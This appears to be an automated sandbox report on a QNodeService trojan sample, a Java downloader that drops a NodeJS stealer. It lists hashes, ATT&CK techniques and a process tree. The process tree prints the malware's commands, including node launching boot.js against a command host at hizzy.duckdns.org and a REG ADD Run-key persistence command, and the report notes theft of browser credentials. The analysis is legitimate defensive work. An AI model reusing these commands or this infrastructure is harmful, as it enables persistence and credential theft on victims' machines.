qnodeservice | b6b41f00daa713f98a2d89aae60de306688576cfe7e9186eb0d8e4821a6800b6

General

Target

023abdf2337367286dfacb24c1083b7f.jar
Size

278KB
MD5

023abdf2337367286dfacb24c1083b7f
SHA1

c2d901942b56d9f416e60f4a5e016b3cde322aba
SHA256

b6b41f00daa713f98a2d89aae60de306688576cfe7e9186eb0d8e4821a6800b6
SHA512

5e26091512925b28909b01c7aaabdd63f0c1f7a39461b5f450f2389dc4d6e26dc3e3d920035dccf10487afb8ad1ff6f99b272b5210be1a533ed56749c8e5a1e7

Score

10^/10

persistence trojan qnodeservice spyware

Malware Config

Signatures

QNodeService
Trojan/stealer written in NodeJS and spread via Java downloader.
trojan qnodeservice

Executes dropped EXE 3 IoCs

pid	Process
3828	node.exe
1440	node.exe
3868	node.exe

Loads dropped DLL 6 IoCs

pid	Process
3868	node.exe
3868	node.exe
3868	node.exe
3868	node.exe
3868	node.exe
3868	node.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware

Data from Local System
T1005

Credentials in Files
T1081

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000\Software\Microsoft\Windows\CurrentVersion\Run\e860d65c-bb6b-4de2-a521-0aa47c45c22a = "cmd /D /C \"C:\\Users\\Admin\\qhub\\node\\2.0.10\\boot.vbs\""	reg.exe

JavaScript code in executable 3 IoCs

resource	yara_rule
behavioral2/files/0x000100000001ad95-166.dat	js
behavioral2/files/0x000100000001ad95-170.dat	js
behavioral2/files/0x000100000001ad95-174.dat	js

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
16	wtfismyip.com
15	wtfismyip.com

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	node.exe

Suspicious behavior: EnumeratesProcesses 18 IoCs

pid	Process
3828	node.exe
3828	node.exe
3828	node.exe
3828	node.exe
1440	node.exe
1440	node.exe
1440	node.exe
1440	node.exe
3868	node.exe
3868	node.exe
3868	node.exe
3868	node.exe
3868	node.exe
3868	node.exe
3868	node.exe
3868	node.exe
3868	node.exe
3868	node.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 976 wrote to memory of 1664	976	java.exe	74
PID 976 wrote to memory of 1664	976	java.exe	74
PID 1664 wrote to memory of 3828	1664	javaw.exe	78
PID 1664 wrote to memory of 3828	1664	javaw.exe	78
PID 3828 wrote to memory of 1440	3828	node.exe	80
PID 3828 wrote to memory of 1440	3828	node.exe	80
PID 1440 wrote to memory of 3868	1440	node.exe	81
PID 1440 wrote to memory of 3868	1440	node.exe	81
PID 3868 wrote to memory of 4040	3868	node.exe	83
PID 3868 wrote to memory of 4040	3868	node.exe	83
PID 4040 wrote to memory of 2012	4040	cmd.exe	84
PID 4040 wrote to memory of 2012	4040	cmd.exe	84

C:\ProgramData\Oracle\Java\javapath\java.exe
java -jar C:\Users\Admin\AppData\Local\Temp\023abdf2337367286dfacb24c1083b7f.jar
1⤵
- Suspicious use of WriteProcessMemory
PID:976
- C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe
  "C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe" -jar C:\Users\Admin\AppData\Local\Temp\6fbf5058.tmp
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1664
- - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
    C:\Users\Admin\node-v14.12.0-win-x64\node.exe - --hub-domain hizzy.duckdns.org
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:3828
  - - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
      C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_DBWHVN\boot.js --hub-domain hizzy.duckdns.org
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:1440
    - - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
        
        C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_DBWHVN\boot.js --hub-domain hizzy.duckdns.org
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        Checks processor information in registry
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:3868
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "e860d65c-bb6b-4de2-a521-0aa47c45c22a" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\"""
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:4040
        
        C:\Windows\system32\reg.exe
        
        REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "e860d65c-bb6b-4de2-a521-0aa47c45c22a" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\""
        7⤵
        Adds Run key to start application
        
        PID:2012

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Credentials in Files

1

T1081

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Data from Local System

1

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1440-171-0x0000010C07FC0000-0x0000010C07FC1000-memory.dmp

Filesize
4KB

Download
memory/3828-168-0x0000015A57EC0000-0x0000015A57EC1000-memory.dmp

Filesize
4KB

Download
memory/3868-175-0x0000036280D00000-0x0000036280D01000-memory.dmp

Filesize
4KB

Download

Analysis

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